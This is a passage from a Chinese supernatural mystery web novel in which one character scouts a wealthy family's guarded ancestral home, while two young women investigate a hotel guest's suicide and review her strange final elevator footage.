“那……您方便告诉我他们家在哪里吗？我还是想去看看。”吴妄补充说道，“我听说的，梁家也在他们家旁边？我与梁家也有几分故交，正好上门拜访一下。”
“这个……”
小卖部的老板面露难色。
他似乎不愿意就这么告诉吴妄梁家的地址，又或者说，出于某种考量，不愿意透露。
“放心吧老板，我确实是徐婆婆外孙女沈聆的朋友，而且，我和梁家的二少爷，梁林，也是好朋友，他们现在都在陵川一中上学……如果我不认识他们的话，我怎么会知道得这么清楚？”
不知道为什么，吴妄感觉到这里的本地人似乎对陌生人有点儿与生俱来的排斥，似乎不愿意外地人接近他们的村子，更不愿意随意让外地人打听出关于西乡的事情。
“你沿着这条路下去，右转，可以看到一个小池塘，在小池塘的另一边就是徐婆婆的家，梁家的祖宅就在徐婆婆家旁边，他们家祖宅很大，你一眼就能认出来。只不过，平常他们都关着门，而且不让人靠近，之前都是梁家的老太太住在里面，现在老太太去世了，不知道里面还有谁，你可以去梁家前门瞧一瞧。”
“好的，谢谢老板。”
吴妄支付了矿泉水的钱后，按照老板的说法，沿着小路往梁家祖宅去。
这一路上，吴妄注意到小路周围并没有其他的民居，似乎梁家祖宅除了徐婆婆之外，就没有其他邻居了，村里的其他人像是避开梁家一样，不愿意住在梁家周围。
吴妄沿着这条蜿蜒曲折的小路缓缓前行。他已经走了很长时间，一路上除了偶尔飞过头顶的鸟儿和路边摇曳的野花野草，几乎看不到其他生命的迹象。就在他感到有些迷茫的时候
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，眼前突然出现了一条向右拐的岔路。
吴妄毫不犹豫地选择了右转，没走多远，便听到了一阵轻微的水流声。随着他逐渐靠近，声音也越来越清晰。终于，一个小小的池塘出现在了他的视野之中。
这个小池塘并不大，但却给人一种宁静而神秘的感觉，只见池塘的水面上漂浮着一层厚厚的绿色藻类，这些藻类密密麻麻地生长在一起，仿佛一块巨大的绿色地毯铺满了整个池塘，将原本清澈的水面完全遮盖住了。
从远处望去，可以看到在小池塘的另一侧矗立着一座破旧的小土房子，这座土房子看上去十分简陋，墙壁上布满了岁月留下的痕迹，想来这应该就是沈聆外婆的房子。
在土房子的后方，隐约可见一片白色墙体的建筑群。那些建筑错落有致地排列着，虽然距离较远，但仍能感受到它们所散发出的古朴气息，黑瓦白墙，看着比土房子要更具有几分民国的韵味。
吴妄心中暗自猜测，想必那里便是梁家的祖宅了吧。
想到这里，他不禁加快了脚步，朝着那个方向走去……
越是靠近梁家的祖宅，便越是能感觉到一股压抑的气氛。
吴妄缓缓地抬起头来，目光所及之处，只见那梁家祖宅的上空竟突兀地出现了一块乌黑如墨的云层。
这块乌云宛如一把巨大无比的伞盖，严严实实地遮蔽住了头顶的天空，而且它仿佛拥有着某种神秘的力量，就这样静静地悬浮在梁家祖宅的正上方，许久都没有丝毫散去的迹象。
随着吴妄一步步地朝着梁家靠近，他越发清晰地感受到一股沉重压抑的气氛扑面而来。
这种感觉越来越强烈，让人几乎有些喘不过气来。
不仅如此，就连周围的那些植物似乎也受到了这股特殊磁场的影响，离梁家越近，原本应该生机勃勃的植被就变得愈发稀少，甚至到最后完全是一片荒芜，寸草不生。
再看那路边的树木，此时也早已失去了往日的生机与活力，它们的枝叶枯黄干瘪，无力地低垂着，仿佛被抽干了所有的生命力一般，显得极为萎靡不振。
而在道路两旁，还不时能够看到一些已经死去多时的飞鸟和老鼠的尸体横七竖八地躺着。
这些动物的尸体看上去并无明显的外伤，但却不知道究竟是什么原因导致它们突然猝死在此处，给这片本就诡异的地方又增添了几分阴森恐怖的气息。
“看起来……梁家还真是不简单啊。”
吴妄皱起眉头，他在池塘边停下脚步，抬起头看着不远处的梁家祖宅。
这是一座看上去有些神秘而阴森的建筑，它整体由黑色砖块砌成，墙壁则刷成了洁白如雪的颜色，形成鲜明对比。那扇厚重的黑色木门紧紧关闭着，仿佛将里面的世界与外界彻底隔绝开来。
尤为引人注目的是门口两侧悬挂着的两个红灯笼，它们散发着微弱却诡异的光芒，宛如两颗血红色的眼珠子，正静静地凝视着靠近这里的人，灯笼的红光在风中摇曳不定，给这座本就气氛压抑的建筑更增添了几分恐怖和诡异之感，似乎像是两双“眼睛”正在死死地盯着自己，让他不由自主地心生寒意。
178. 奢靡
且说这头。
沈聆和宋明夷安排好了房间里的拍摄装置后，按照宋明夷的安排，她们决定去享受一下五星级酒店的SPA。
在此之前，沈聆从来没有体验过所谓的高档酒店SPA套餐，准确的说，她几乎没有住过酒店，长这么大，她很少出去旅游，爸爸妈妈并不常带着她和妹妹出门，现在想想，或许是因为妈妈当时的职业特殊，因此，他们一家也没有太多出门旅游的时间。
宋明夷向酒店前台要了一份世纪大酒店吃喝玩乐的攻略，打算酒店内所有免费体验的项目都玩一遍过去。
步入那宁静的SPA中心，暖黄的灯光仿若轻纱，温柔地披洒于精致陈设之上，空气中悠悠萦绕着薰衣草精油的淡雅芬芳，仿若将尘世喧嚣悄然隔绝。沈聆与宋明夷换上了酒店提供的衣服，并肩卧于绵软的按摩榻间，此时技艺精湛的按摩师进入了按摩肩，她们的双掌似灵动的精灵，自轻缓的揉抚起始，渐而转为有力的推按，每一寸落点皆精准地熨帖着平日积郁的身心劳顿，似有神奇魔力，将周身的僵紧逐一松解、消弭于无形。
“好厉害啊，我现在算是体会到有钱人的快乐了！”
“怎么，这就算有钱人了？真正的有钱人去的养生会所，你还没有体会过呢，小聆聆，这个世界的美妙啊，越是有钱的人，才越能体会到。”
待SPA疗程圆满告终，二人换罢酒店提供的轻便运动装款步迈入健身房。
抬眼只见馆内器械琳琅满目，一应俱全。
宋明夷跑了会儿步，沈聆则对健身房内的瑜伽课产生了几分好奇，她跟着瑜伽课的教练学了几分瑜伽的招式，感觉疲惫的身体似乎也在瑜伽的力度中逐渐舒缓下来。
“说世纪大酒店还有温泉，小聆聆，我们去看看！”
步出健身房，热气氤氲的温泉池宛如梦幻仙境，散发着诱人的魅力。
沈聆与宋明夷徐缓踏入那温润暖池，暖流刹那间如丝缕柔情，将全身紧紧环抱。他们惬意地斜倚池畔，任那清泉潺潺摩挲肌肤，间或低语浅笑，清脆的笑声于袅袅水雾间悠悠荡漾，似一曲空灵的欢歌。
将身体泡入那温暖的水池中，两个女孩不由得感叹着起来。
“我宋明夷今天可以给所有人笑脸！”
“你可别说得太早，万一晚上回房间看到什么不干净的东西，你可别哭。”
“那咋啦，我们这次来的目的就是为了看到那些不干净的东西，如果真的拍到了什么不得了的视频，那可是我这灵异主播火的机会！”
“明夷，你说我们离开的这段时间里，房间里的那些设备真的可以捕捉到什么影像或者是声音吗？”
“不好说，不过这东西嘛，毕竟是阴气比较重的东西，人多的时候反而不会出来，我们给他们一些自由的空间，我想他们会出来逛逛的。”
“但是……他们也不投胎，也不转世，就每天这么晃悠晃悠的……目的是什么？我有点儿无法理解。”
“你是活人，你当然无法理解了，等你以后变成了阿飘你再去理解他们的思维吧。”
“呸呸呸！”
……
于是这一天，沈聆和宋明夷充分享受了一下有钱人的福利生活。
在回到房间之前，她们还去了世纪大酒店的自助餐厅大吃了一顿。
踏入酒店的自助餐厅，仿佛步入了一座美食的奢华殿堂。
水晶吊灯洒下璀璨光芒，映照在光洁的大理石地面与锃亮的银制餐具上，折射出迷人的光晕。
餐台犹如艺术的展台，琳琅满目的美食令人目不暇接，世纪酒店毫不吝啬地将所有高档的食材都放在了显眼的位置，一进入餐厅，只见迎面看到一座冰镇海鲜山，鲜嫩肥美的冰镇海鲜堆砌成小山，帝王蟹的长腿霸气地伸展着，龙虾的红壳在灯光下闪耀着诱人光泽，生蚝与扇贝整齐排列，仿佛在等待着食客的品鉴，旁边搭配着精致的蘸料碟，柠檬角与特制酱料散发着清新与浓郁交织的气息。
各类刺身宛如艺术品，三文鱼腩纹理清晰如细腻的画卷，金枪鱼色泽鲜艳红得透亮，甜虾晶莹剔透似玉，每一片都切得厚薄均匀，整齐地铺在冰盘之上，佐以鲜绿的紫苏叶与淡雅的芥末，刺激着人们的味蕾。
热菜区则是一场全球风味的盛大聚会：法式鹅肝煎得金黄酥脆，搭配酸甜的果酱，入口即化的细腻口感在舌尖蔓延；意大利肉酱面散发着浓郁的番茄与肉香，面条筋道有嚼劲；中式的鲍汁辽参软糯Q弹，浓郁的鲍汁包裹着海参，每一口都饱含着大海的醇厚鲜味；还有印度咖喱鸡，浓郁的咖喱味混合着香料的独特气息，鸡肉炖煮得鲜嫩多汁，与香糯的米饭堪称绝配。
甜品区宛如童话中的梦幻王国，精致的法式马卡龙色彩缤纷，如同一朵朵盛开在甜品架上的小花，外壳酥脆，内馅软糯香甜；提拉米苏层层叠叠，咖啡与巧克力的醇厚味道相互交融，顶部的可可粉微微苦涩，却更衬托出整体的丰富口感；水果塔以酥脆的饼底托着新鲜的水果切片，奶油的香甜与水果的清新在口中碰撞出美妙的火花。
当食客手持餐盘穿梭于这美食的世界，每一次的挑选与品尝，都仿佛是在进行一场舌尖上的奢华旅行，尽情享受着这高档酒店自助餐带来的极致美食体验。
只不过，在这里吃饭的时候，大家似乎没怎么说话。
那些穿着名牌衣服，提着名牌包包的人，在吃饭的时候格外安静，偶尔可以看到低声交谈的人，但他们匆匆说完一句话后便又保持了沉默。
这些人从仪容仪表到服饰妆容，都透着一股贵气。
就仿佛，天生和沈聆她们的阶层不一样。
“小聆聆，你看他们为什么吃得都不多啊？这么多好吃的东西，我看他们怎么没吃几口就走了？”
“人家不差钱，估计日常这些都吃腻了，就挑一些喜欢的吃而已。”
“难怪看他们都精瘦精瘦的，每天就吃这么点怎么能饱。”
“有钱人都是以瘦为美吧，毕竟人家名牌衣服都没有XL的。”
沈聆和宋明夷像两个外来的人，与
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这个场合格格不入。
餐厅播放着舒缓的音乐，那钢琴曲不知道是巴赫的还是贝多芬的，沈聆心下想着如果此刻梁林在这里，一定能评论上一番。
“我们今天吃喝玩乐了一天，会不会让顾经理……有意见啊？”
“他能有什么意见。”
“人家请我们来是做正经事的，但是我们到现在都还没有拍视频……我怕他觉得你这个灵异主播是个混子。”
“他一个外行人懂什么，灵异事件总不可能大白天发生吧，青天白日的，浪费这个时间做什么。”宋明夷说着，喝了一口果汁，“别担心，我已经跟顾经理打好招呼了，今天晚上我们会通宵拍摄素材的，他不会有什么意见。”
“也行。”
两个女孩子低着头吃完了盘子里的食物后，打算回去18楼。
迎面，便看到了男侍从小赵：“两位小姐晚上好。”
“你好。”
“你好。”
沈聆看到小赵，有点儿心虚，毕竟她们这一整天都没有做正经事，看到小赵就像是在考卷没做的时候看到了班主任一样。
小赵脸上依旧带着礼貌的微笑，他似乎并不在意今天沈聆和宋明夷都做了什么。
“二位是顾经理的客人，希望我们酒店能给二位提供最满意的服务。”
想到这里，沈聆倒是想起了一件事情想问他，便轻声询问道：“对了，小赵，有个事情想问你……你们现在18楼住了几个人呀？”
“住了两个。”
“他们退房了吗？我今天早上到酒店的时候，好像看到有人从18楼的窗户外往下看，但是我看不清楚，只能看到一个模糊的影子。”
“不，沈小姐您误会了，我说的‘两个人’指的是您和宋小姐。”
“你的意思是……”
“在两位入住之前，18楼是没有住客的。”小赵的嘴角依旧保持着完美的弧度，“因为之前18楼频频发生奇怪的事情，担心这些事情继续发生的话会给其他顾客造成不必要的困扰，所以顾经理特别吩咐了，在二位入住之前，不要安排其他客人住进18楼。”
听完这句话，沈聆和宋明夷交换了一个眼神。
这世纪大酒店，似乎有点儿意思。
“……那，小赵，你们酒店在发生灵异事件之前，有没有发生过什么，类似于……凶杀案之类的事情？”
“凶杀倒是没有……不过，一年前倒是发生过一起自杀事件。有个女孩子，在1808号房割腕自杀了，经过警方调查，没有其他疑点，确认就是她自己抑郁症，想不开。”
在叙述这件事情的时候，小赵依旧是微笑着的，但那笑容看起来令人不由得感到几分不安。
但更让两个女孩子不安的是，小赵口中的1808号房，正是她们今晚要住的房间。
沈聆感到背后一阵发凉：“……小赵，那个女孩子，不会是在1808号房间的卫生间割腕自杀的吧？”
“是的，您怎么知道的呢？”
179. 梁业
夜幕如一张巨大的黑色幕布缓缓降下，渐渐地吞噬了大地。
阴沉的傍晚，天空犹如被一块厚重的灰色布料严密地覆盖着，一丝晚霞的踪迹都寻觅不到。
那原本应有的绚丽色彩和温暖余晖，仿佛被这片压抑的云层无情地剥夺，只留下一片死寂和沉闷。
随着光线一点点地黯淡下来，本就人烟稀少的西乡变得愈发静谧。
道路两旁的树木在微弱的光线下投射出修长而诡异的影子，宛如沉默的守护者注视着这片寂静之地。
偶尔，可以看到有行色匆匆的路人从小路经过。
他们低垂着头，脚步匆忙，仿佛急于逃离这即将被黑夜完全笼罩的世界，一刻也不愿在户外多作停留，即使只是短短一分钟，对于他们来说，似乎也是一种难以承受的煎熬。
这深沉的夜色宛如一头凶猛的巨兽，张牙舞爪地侵蚀着每个人内心深处的不安与恐惧。
然而，就在这令人心生畏惧的黑暗之中，西乡村里的一座座土房子陆续亮起了灯光，那些灯光透过窗户，如同夜空中闪烁的繁星般散落开来，又好似一只只轻盈的萤火虫在黑暗中翩翩起舞。
这些星星点点的光亮，给这个孤寂的夜晚增添了些许温暖的人间烟火气，它们虽然微弱，却顽强地抵抗着无边无际的黑暗，成为了人们心灵的慰藉和希望的象征。
吴妄压低了身子，躲在草丛里，他如同一只蛰伏的野兽，就这么小心翼翼地潜伏在梁家祖宅之外，像是在等待着什么，又像是在观察着什么。
他的视线始终落在几步之外的梁家祖宅上。
白天里，他绕过了沈聆外婆家的土房子，本想靠近梁家祖宅，深入其中一探究竟，但在靠近之后他发现梁家的那个老宅子四周全都是监控摄像头，并且那些摄像头闪烁着红灯，明显是正在工作中的状态。
吴妄不知道房子里是否有人24小时监控着房屋外围的情况，但就目前看到的一切来推测，梁家并没有放松对祖宅的管控，甚至，对祖宅的保护已经到了超越常规的地步。
但道理来说，这种乡下的老房子一般都是只有看守的老人居住的，但是梁家的祖宅不仅安装了许多监控摄像头，吴妄甚至还观察到了巡逻的保镖，那些穿着黑色衣服的男人在祖宅内外交接班，似乎是有人可以安排的巡逻制度，这安保等级，已经远远超过了一般的老房子。
越是反常的现象，背后就越是有不可告人的秘密。
梁家一定藏了什么东西在这个老房子里，并且，还不愿意别人靠近，似乎是担心被人窥视到最深处的肮脏。
入夜之后，只见梁家的老房子也开了灯。
吴妄皱起眉头观察了一圈，发现这老房子一共有六层，从外面看不出里面的构造，但是从点灯的情况来看，里面应该是层层相套的四方院落，如同江南古镇的风格一样，越是往里慢走，就越容易迷失其中。
他感觉西乡村的一切都很诡异。
这里的人并不多，但也不至于到了路上都不常见到几个人的地步。
吴妄粗略观察了一下那些路人，每个人都行色匆匆，他们似乎不敢靠近梁家的老房子，甚至不愿意在户外多停留片刻。
若是一般的村落，常有老人家聚集在村头巷尾谈论家长里短，或是在走街串巷进行串门拉亲戚，但这个村落和大部分村落不同的是，这里的人们显得十分生疏，人与人之间十分疏离，他们就像是彼此绝缘的个体，几乎没有太多的交际，每个人活得都很小心谨慎，这感觉就像是……
活在某个人、或者说是某个势力的监视掌控之下。
——这个西乡村，不简单。
——梁家祖宅，一定藏着很多秘密。
吴妄犹豫着要不要进入梁家祖宅一探究竟，如果按照他的身手来说，应该是不会有问题，但是他并不清楚梁家祖宅内部有多少安保人员，如果在这其中露出了马脚，反而可能插翅难逃。
这个房子是里三层外三层的结构，如果其中涉及到一些风水玄学的力量，那么哪怕是他吴妄也不见得能够安然而退。
他现在是只身一人来到这里，一旦进入梁家祖宅，外面将没有人能够接应他，到时候……
就在吴妄这么思量着的时候，他听到远处传来了车声。
那声音由远及近，是车轮压过沙子路的声音。
他转头看去，看见一辆黑色的大奔在逐渐深沉的暮色中朝着梁家祖宅而来。
大奔打开着车灯，那明晃晃的车灯有点儿刺眼，从吴妄的角度看不见开车的人是谁，但是从这辆车的外形来看，吴妄猜测这辆车价值不菲，在西乡村能够买得起这种车的人，应该就只有梁家人。
果然。
在绕过一个路口后，这辆大奔停在了梁家祖宅前面。
从车前下来了一个穿着黑色制服的年轻男人，他下了副驾驶后，绕到了后排，打开了后排的车门。
此时，一位身着灰色西装的中年男子优雅地从车后排缓缓走下。
他大约是五十岁出头的年纪，看起来是这辆车的主人。
远远望去，他那高大挺拔的身姿格外引人注目，估摸约有一米八上下的个头，吴妄定睛一看，只见那个男人生得面容方正，一张典型的国字脸上透露出沉稳与坚毅，精心梳理过的大背头发型显得整个人精神焕发，乌黑亮丽且一丝不乱。
一副黑色边框的眼镜架在高挺的鼻梁之上，镜片微微反射着周围的光线，仿佛为这双深邃的眼眸增添了一抹神秘的色彩，而他身上所穿的那件灰色西装剪裁得体、线条流畅，每一处细节都处理得恰到好处，完美地贴合着他的身形轮廓，显然是出自某位技艺精湛的裁缝大师之手，毫无疑问属于那种价格不菲的高档定制西装。
目光下移，可以看到他的胸前别着一枚精致的白色领夹，宛如夜空中闪烁的一颗明星，在灰色西装的映衬下更
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显素雅大方，最后视线落在他脚上那双黑色的皮鞋上，鞋面被擦拭得油光锃亮，由此不难看出这位中年男子对于自身形象的注重以及对生活品质的追求。
他光是站在那边便自带气场，微微扬起下巴，目光中透露着几分掌控欲。
此时，从梁家出来了一位身材苗条的女人，她看起来行色匆匆，似乎完全没有意识到今天晚上会有人来。
吴妄微微眯起眼睛，在心中默念了一遍“传音入秘”的咒语，随着那吹过来的风，他听见了他们的谈话——
“梁总，您怎么来了……我以为您今天开完会就回家了，早知道您要来，我就安排人在村口接您。”
“没必要，我就是临时想来看看，我母亲的事情都安排好了吗？”
“里面一直都安排好了，老夫人的灵柩停在前厅，我已经安排专业人士安装了冷冻设备，保证老夫人的遗体不会腐坏。此外，我并且已经安排了为老夫人超度的道士，这些道士是青城山来的，他们住在东偏房，我安排他们诵经七七四十九天，为老夫人祈福。”
闻言，被唤作“梁总”的男人点了点头。
他身边的人递过来一根雪茄，他接过了那根雪茄，吸了一口。
“那和尚呢？请几个和尚来念经，不拘要多少钱，只要最好的，我母亲生前相信这些，我想她离开后，也能有这些和尚道士送送她。”
“放心吧梁总，我已经联系了杭州灵隐寺的得道高僧，并且通过一些方法，请到了其中一位高僧来为老夫人诵读往生经，希望老夫人能够早登极乐。”
“既然是得道高僧，那不可怠慢了人家，安排专车专机接送，一应吃穿款待都要最好的。”
“好的，您放心，我来安排。”
众人说着，往梁家祖宅而去。
周围在一起陷入了平静。
他们像是被这老房子吞没了一样，再也没有任何动静。
吴妄听着他们商量着所谓“老夫人”的殡葬事宜，心里猜测到大概是前段时间沈聆外婆说的梁家老夫人去世的事情。
从两人的对话来看，此刻下车的那个人，应该就是梁家的家主，梁业，他是梁家老太爷的大儿子，也是现在梁氏家族的掌权人，梁林，应该是梁业的二儿子。
此外，从吴妄听到的话来看，梁家老夫人虽然已经举行了葬礼，但是她的孩子似乎很有孝心，务必要把所有的礼数都做全了，来送一送自己这位可怜的老母亲。
不过，吴妄还是从这对话中找到了或许能够浑水摸鱼的办法——
【已经安排了为老夫人超度的道士，这些道士是青城山来的，他们住在东偏房，我安排他们诵经七七四十九天，为老夫人祈福。】
青城山来的。
那岂不是他的同门师兄弟？
看来他们青城山的业务还挺广。
吴妄心中冷笑了一声，暗暗想道：看来老天都站在我这边。
180. 顾倩倩
“滴……滴……”
狭窄昏暗的电梯里，电梯的指示运行屏幕上，数字正从18开始往下倒数。
17……16……15……14……
楼层不断往下，但电梯里空无一人。
随着电梯来到了一楼，电梯的门缓缓打开。
此时，一股冰冷的寒风吹进了电梯间，可那等候在电梯外的人却并没有急着进电梯，相反，一直迟疑了差不多十几秒钟，才有一个女孩子鬼鬼祟祟地从电梯外朝内探进了脑袋。
那是一个看上去约莫二十一二岁的年轻女子，她的面容略显苍白，仿佛缺乏阳光的照耀、是那长期居住在洞穴中的潜行生物一般。
她的身材更是瘦削得如同风中摇曳的柳枝，给人一种弱不禁风之感，一头乌黑亮丽的长发如瀑布般随意地披散开来，显得有些凌乱，上面歪歪扭扭地夹着一个白色的蝴蝶结发夹，身上披着一件红色的毛衣外套，下身穿着一条白色的裙子，最引人注目的是，她那双原本应该明亮动人的眼睛下方，竟有着两个格外明显的黑眼圈，宛如两团沉重的乌云笼罩其上，使得她整个人都透露出一股疲惫和憔悴。
她的动作很邪门，只见她犹如一个初次涉足未知领域的勇敢探索者，先是在外边小心翼翼地张望着，目光充满好奇与警惕。
就这样窥视了许久之后，她才终于下定决心，迈开脚步，缓缓朝着电梯走去。每一步都迈得很小很轻，似乎生怕惊扰了什么似的。
当她走进电梯时，令人奇怪的是，尽管此时电梯间内空无一人，但她的表现却好似里面早已挤满了人群。
刚一踏入，她便迫不及待地侧身挤进靠在电梯墙边的位置，动作匆忙而又局促不安，随后，她微微低下头，肩膀不自觉地向上耸起，后背则紧紧地贴住电梯内侧的玻璃墙壁，仿佛只有这样才能让自己找到一丝安全感。
远远看去，她整个人就像是被无形的力量挤压到了那个狭窄的角落里，无处可逃。
明显可以感觉到她很局促。
略微不安地抬起头看了一眼电梯角落的监控摄像头，随后，她又转过头看向了电梯外面。
奇怪的是，电梯并没有关上，而电梯里的女孩也察觉到了这一点。
仅仅过了短短几秒钟而已，但对于此刻身处电梯内的她来说，却仿佛经历了漫长的时光。
终于，她缓缓地抬起了头，目光投向了电梯门外左侧那个看似寻常的方向。
起初，那只是一道随意的扫视，但很快便定格下来，她就这样一动不动地定睛观望着，仿佛在那个方向有着某个特别重要的人或者事物吸引着她全部的注意力。
时间一分一秒过去，她就这样一直保持着张望的姿势，丝毫没有挪动分毫。
许久之后，她才如梦初醒般回过神来，伸出手小心翼翼地摸索着，试图去按下电梯面板上标有“18”字样的楼层按钮，当指尖触碰到按钮并成功点亮它时，她的动作明显变得愈发谨慎起来。
紧接着，她微微向前探出身子，想要更清楚地观察电梯外的情况。然
而就在那一刹那，她突然像被电击到一样，以惊人的速度猛地缩回身体，并且迅速将自己的大半个身躯紧紧贴靠在电梯按键之上，她的动作如此之快、如此之大，以至于让人不禁怀疑是不是电梯外真的存在某种极度危险而恐怖的东西。
不，事情有些不对劲。
她的眉头紧锁，眼神中透露出一丝惶恐和疑惑，显然，她似乎察觉到了一些异样之处，又好像感觉到电梯外有一双充满恶意与威胁的眼睛正在死死地凝视着她，令她毛骨悚然、胆战心惊。
她双手环抱着自己，展现出防御的姿态，蜷缩着肩膀，像是想要逃避某种可怕的东西，她低着头将所有的楼层都按了一遍过去。
诡异地点亮了所有楼层后，她又猛然往电梯外探出了头，手脚比划着，像是在跟某个人说话一般，不到三十秒后，她重新缩回了电梯里，这一次，她选择蹲在了距离电梯门最远的角落，忽然像是失去了全部的力气一般，蹲坐在地上。
“叮咚。”
电梯那厚重的金属门发出一阵低沉的嗡嗡声，缓缓地开始合拢，仿佛要将外界的喧嚣与繁忙统统隔绝开来，随着门缝逐渐变小，直至完全关闭，它载着她平稳地上升，远离了一楼那个熙熙攘攘的世界。
在电梯离开一楼之后，电梯里的那个年轻女人情绪明显平稳了几分。
电梯，每经过一层楼便会戛然而止。伴随着轻微的机械摩擦声，电梯门缓缓打开，然后又慢慢合上，如此周而复始。
每一次门开时，外面都是空荡荡的走廊，没有一个人影出现，也没有人走进这狭小的空间，就这样，她独自一人坐在电梯里，默默地看着数字不断跳动，感受着时间一分一秒地流逝。
终于，电梯抵达了18楼。
当数字灯定格在“18”这个数字上时，电梯微微晃动了一下，随即稳稳地停住了。
年轻女人感觉到了这动静，抬起头看向了前方，也知道自己到了想去的楼层。
她慢慢地站起身来，这一次，她像是换了一个人一样，动作优雅而轻盈，只见她走到电梯里的镜子前，将几缕不听话的发丝挽到耳后，接着用手指小心地理顺了其他乱发，做完这些简单的整理后，她似乎还不太满意，于是从口袋里掏出一支小巧精致的口红，轻轻旋开口红盖子，露出里面鲜艳欲滴的颜色。她微微嘟起嘴唇，小心翼翼地涂抹起来。
在这个过程中，电梯门已经重新关上了，但是因为没有人按电梯，因此电梯一直都保持在18楼。
终于，那年轻女人补完了妆，就在这时，电梯门再次缓缓打开。
那年轻女人不慌不忙地离开了电梯，留下身后空荡荡的轿厢。
……
“这就是那个自杀的女孩子生前最后的影像。”小赵站在控制台的屏幕前，微微转过头看着沈聆和宋明夷。
男侍从小赵点了点头：“是的，她最后一次出现在镜头前，就是在这个
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电梯里，第二天，我们就发现她死在1808号房的卫生间里了，割腕自杀。”
此刻，他们正在世纪大酒店的控制室。
控制室位于酒店一楼，一楼的长廊走到尽头左拐，便能看到一个灰色的大门，上面张贴着“闲人勿进”的几个字。
推开门，便是世纪大酒店的控制室。
控制室中央是一个大屏幕，上面分割成了五十多个小屏幕，上面播放着酒店各个监控摄像头的实时画面，在大屏幕前有一个控制台，控制前前面有三个安保人员值班值守，他们面前还有麦克风和耳麦，负责调度酒店中其他巡逻的保安，一旦出现应急事故第一时间赶赴现场解决突发情况。
而现在，沈聆和宋明夷，在侍从小赵的带领下，找到了这里。
他们要看看那一个月前自杀在这个酒店的女孩子是否在生前有留下什么影像资料。
“根据酒店前台的登记证明，那个女孩子姓顾，叫顾倩倩，是第一次来我们酒店入住的旅客，在这之前从来没有登记过她的个人信息。”小赵不动声色地回答，“在顾倩倩自杀后，警方也曾调取酒店内有关她的监控录像，您二位现在看到的是备份后的录像资料，原件已经被警方带走了。”
“顾倩倩？她是一个人入住的吗？”沈聆看向了小赵，“这都是一个月之前的事情了，你还能记得这么清楚吗？”
小赵点了点头：“是的，她是一个人入住酒店的，我们调取了酒店大堂、餐厅、电梯、走廊的监控录像，从录像的情况来看，她都是单独活动的，我们从来没有见到过她在我们酒店接触过其他人……在顾倩倩自杀后，警方例行公事地对她的情况进行了摸排，所以我们记得很清楚，世界大酒店的每个人，都记得很清楚。”
后半句话，他加重了语气，带着几分深意地说道。
酒店大堂、餐厅、电梯、走廊。
这几个地方的确是常规的入住旅客都会经过的地方，警方调查这些也是常规操作。
“那……她登记入住的时候有没有说自己要住几天呢？”
“没有，我们的酒店是每天下午两点的时候退房，中午十二点的时候我们就会联系旅客，看看需不需要延长入住时间，每天十二点我们联系顾倩倩的时候，她的回答都是要延长入住时间，一直到第三天，我们拨打她的手机，发现已经联系不上她了，随后我们等到了两点，在两点的时候再一次试图联系顾倩倩，发现她的手机依旧无人接听，于是，我们根据酒店的管理规则，安排了安保人员和客房服务人员到1808号房间查看情况，就发现……”
“就发现她已经在酒店的浴室里割腕自杀了？”宋明夷微微皱起眉头，不由得打了个冷颤。
要知道，她和沈聆今天入住的就是1808号房间，她们刚才听到的动静恰好就是卫生间的水龙头不知道为什么自己开了……
一想到这里，她不由得暗骂道。
该死。
看来这一次，她们是碰到“硬茬”了。
181. 人血馒头
在这个世界上，很多人是认为没有鬼的。
他们是坚定的无神论者。
在宋明夷看来，顾经理就是这样的人。
虽然他对她们的接待十分到位，说话语气也十分客气礼貌，但是从顾经理的眼神中可以看到，他并不相信鬼神，又或者说，并不惧怕鬼神。他请她们来酒店做专访、视频的目的很简单，借助宋明夷的名气，打出酒店的知名度。
宋明夷一开始也是这么认为的，她甚至认为酒店应该不会发生什么灵异事件。
但是只有真的着手开始调查后，她才意识到，这个世纪大酒店，并没有自己原先想象中那么简单。
这个顾经理，或许自己并不相信鬼神，但这酒店里，或许正在发生、曾经发生过一些让人匪夷所思的事情，而她们，现在就住在顾倩倩曾经住过的房间，走过顾倩倩走过的走廊，坐过顾倩倩曾经坐过的电梯，重复着那位年轻的死者曾经做过的事情，而这一切目的，或许是为了让她们能更好地破解一个月前发生在这里的凶案。
“我好像被顾经理坑了。”宋明夷暗暗骂了一句。
她现在才发现，这件事情似乎远远比她想象中要更加棘手一点。
自杀，并不是一件让人害怕的事情。
灵异事件，也并不足以让人胆战心惊。
但让人感到毛骨悚然的是顾倩倩在生前诡异的行为举止！
“……真的有人坐一个电梯都会像是中邪一样吗。”沈聆喃喃自语。
她的视线始终都落在他们面前的大屏幕上，在那大屏幕上播放的正是顾倩倩生前最后的影像。
“我们也无法解释顾倩倩的那些举动。”小赵耸了耸肩，“实际上，当时警方调取了这些录像带，也注意到了顾倩倩反常的举动，但是经过调查，当晚电梯外并没有人跟踪顾倩倩，甚至是在她离开了电梯后，也没有人在18楼的走廊袭击她，自始至终电梯内外都只有她一个人，没有人能解释她这一系列古怪行为背后的原因。”
“……小赵，我有个问题啊。”沈聆看向了男侍从小赵。
“您说。”
“你们不是一直都有电梯员吗？就是刚才一直站在电梯里，帮大家按楼层的那个服务员……为什么在这个录像里，没有看到那个服务员？”
“是这样的，我们酒店虽然有设置电梯服务员，但是并不是24小时上班制度，我们的电梯服务员晚上十一点就下班了，毕竟再晚一点，坐电梯的人也不如白天那么多。而顾倩倩进入电梯的时候，恰好是凌晨一点，这个时间点我们是没有电梯服务员在等候的，并且酒店内外的工作人员大多也下班了，所以她回到酒店的时候，并没有太多的工作人员见到她，我们也只能从录像带中还原她曾经的行动轨迹。”
沈聆点了点头。
从小赵的话里，她捕捉到了三个信息。
一、顾倩倩的行动时间是凌晨一点。
二、除了酒店的监控录像之外，酒店的其他工作人员无法提供太多有用的信息。
三、这个案子最后是以自杀盖棺定论的，可以说，陵川市公安局最后调查的结果也是自杀，警察办案是专业的，如果在他们的调查下也没有其他人干涉、参与顾倩倩的死亡，那么可以说，顾倩倩有百分之八十的概率的确是自杀身亡。
只不过……
在沈聆看来，哪怕是自杀，也可能是有人为干预的成分。
要知道，这个世界上杀人的手段很多，并不是要亲自动手，才算是杀人。
“在顾倩倩入住酒店的这几天，她有离开过酒店吗？”沈聆看向了小赵。
“有的，但是她总是在晚上才出门。”
“在晚上？”
小赵点点头：“是的，按照我们酒店的监控画面和工作人员的证词，每天白天她都在房间里，一直到晚上九点才会出门，离开酒店后，不知道去了哪里，一直到凌晨才会回来。”
昼伏夜出。
完全像是个穴居动物。
“没有人来酒店看她吗？”沈聆追问。
“没有，我们的监控并没有拍到有人来。”
“前台呢？有没有收到什么给顾倩倩的东西？”
